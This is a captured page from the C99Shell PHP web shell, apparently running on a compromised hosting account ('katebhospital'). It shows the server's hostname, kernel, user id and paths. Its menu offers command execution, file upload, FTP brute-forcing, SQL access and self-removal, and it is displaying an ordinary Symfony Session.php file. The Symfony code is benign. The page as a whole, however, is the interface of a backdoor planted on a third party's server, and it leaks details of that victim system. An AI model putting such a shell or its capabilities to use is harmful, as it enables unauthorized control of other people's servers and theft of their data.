!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/HttpFoundation/Session/   drwxr-xr-x
Free 294.19 GB of 429.69 GB (68.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Session.php (5.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation\Session;

use 
Symfony\Component\HttpFoundation\Session\Storage\SessionStorageInterface;
use 
Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
use 
Symfony\Component\HttpFoundation\Session\Attribute\AttributeBagInterface;
use 
Symfony\Component\HttpFoundation\Session\Flash\FlashBag;
use 
Symfony\Component\HttpFoundation\Session\Flash\FlashBagInterface;
use 
Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;

/**
 * Session.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Drak <drak@zikula.org>
 *
 * @api
 */
class Session implements SessionInterface, \IteratorAggregate, \Countable
{
    
/**
     * Storage driver.
     *
     * @var SessionStorageInterface
     */
    
protected $storage;

    
/**
     * @var string
     */
    
private $flashName;

    
/**
     * @var string
     */
    
private $attributeName;

    
/**
     * Constructor.
     *
     * @param SessionStorageInterface $storage    A SessionStorageInterface instance.
     * @param AttributeBagInterface   $attributes An AttributeBagInterface instance, (defaults null for default AttributeBag)
     * @param FlashBagInterface       $flashes    A FlashBagInterface instance (defaults null for default FlashBag)
     */
    
public function __construct(SessionStorageInterface $storage nullAttributeBagInterface $attributes nullFlashBagInterface $flashes null)
    {
        
$this->storage $storage ?: new NativeSessionStorage();

        
$attributes $attributes ?: new AttributeBag();
        
$this->attributeName $attributes->getName();
        
$this->registerBag($attributes);

        
$flashes $flashes ?: new FlashBag();
        
$this->flashName $flashes->getName();
        
$this->registerBag($flashes);
    }

    
/**
     * {@inheritdoc}
     */
    
public function start()
    {
        return 
$this->storage->start();
    }

    
/**
     * {@inheritdoc}
     */
    
public function has($name)
    {
        return 
$this->storage->getBag($this->attributeName)->has($name);
    }

    
/**
     * {@inheritdoc}
     */
    
public function get($name$default null)
    {
        return 
$this->storage->getBag($this->attributeName)->get($name$default);
    }

    
/**
     * {@inheritdoc}
     */
    
public function set($name$value)
    {
        
$this->storage->getBag($this->attributeName)->set($name$value);
    }

    
/**
     * {@inheritdoc}
     */
    
public function all()
    {
        return 
$this->storage->getBag($this->attributeName)->all();
    }

    
/**
     * {@inheritdoc}
     */
    
public function replace(array $attributes)
    {
        
$this->storage->getBag($this->attributeName)->replace($attributes);
    }

    
/**
     * {@inheritdoc}
     */
    
public function remove($name)
    {
        return 
$this->storage->getBag($this->attributeName)->remove($name);
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear()
    {
        
$this->storage->getBag($this->attributeName)->clear();
    }

    
/**
     * {@inheritdoc}
     */
    
public function isStarted()
    {
        return 
$this->storage->isStarted();
    }

    
/**
     * Returns an iterator for attributes.
     *
     * @return \ArrayIterator An \ArrayIterator instance
     */
    
public function getIterator()
    {
        return new \
ArrayIterator($this->storage->getBag($this->attributeName)->all());
    }

    
/**
     * Returns the number of attributes.
     *
     * @return int The number of attributes
     */
    
public function count()
    {
        return 
count($this->storage->getBag($this->attributeName)->all());
    }

    
/**
     * {@inheritdoc}
     */
    
public function invalidate($lifetime null)
    {
        
$this->storage->clear();

        return 
$this->migrate(true$lifetime);
    }

    
/**
     * {@inheritdoc}
     */
    
public function migrate($destroy false$lifetime null)
    {
        return 
$this->storage->regenerate($destroy$lifetime);
    }

    
/**
     * {@inheritdoc}
     */
    
public function save()
    {
        
$this->storage->save();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getId()
    {
        return 
$this->storage->getId();
    }

    
/**
     * {@inheritdoc}
     */
    
public function setId($id)
    {
        
$this->storage->setId($id);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
$this->storage->getName();
    }

    
/**
     * {@inheritdoc}
     */
    
public function setName($name)
    {
        
$this->storage->setName($name);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getMetadataBag()
    {
        return 
$this->storage->getMetadataBag();
    }

    
/**
     * {@inheritdoc}
     */
    
public function registerBag(SessionBagInterface $bag)
    {
        
$this->storage->registerBag($bag);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getBag($name)
    {
        return 
$this->storage->getBag($name);
    }

    
/**
     * Gets the flashbag interface.
     *
     * @return FlashBagInterface
     */
    
public function getFlashBag()
    {
        return 
$this->getBag($this->flashName);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0049 ]--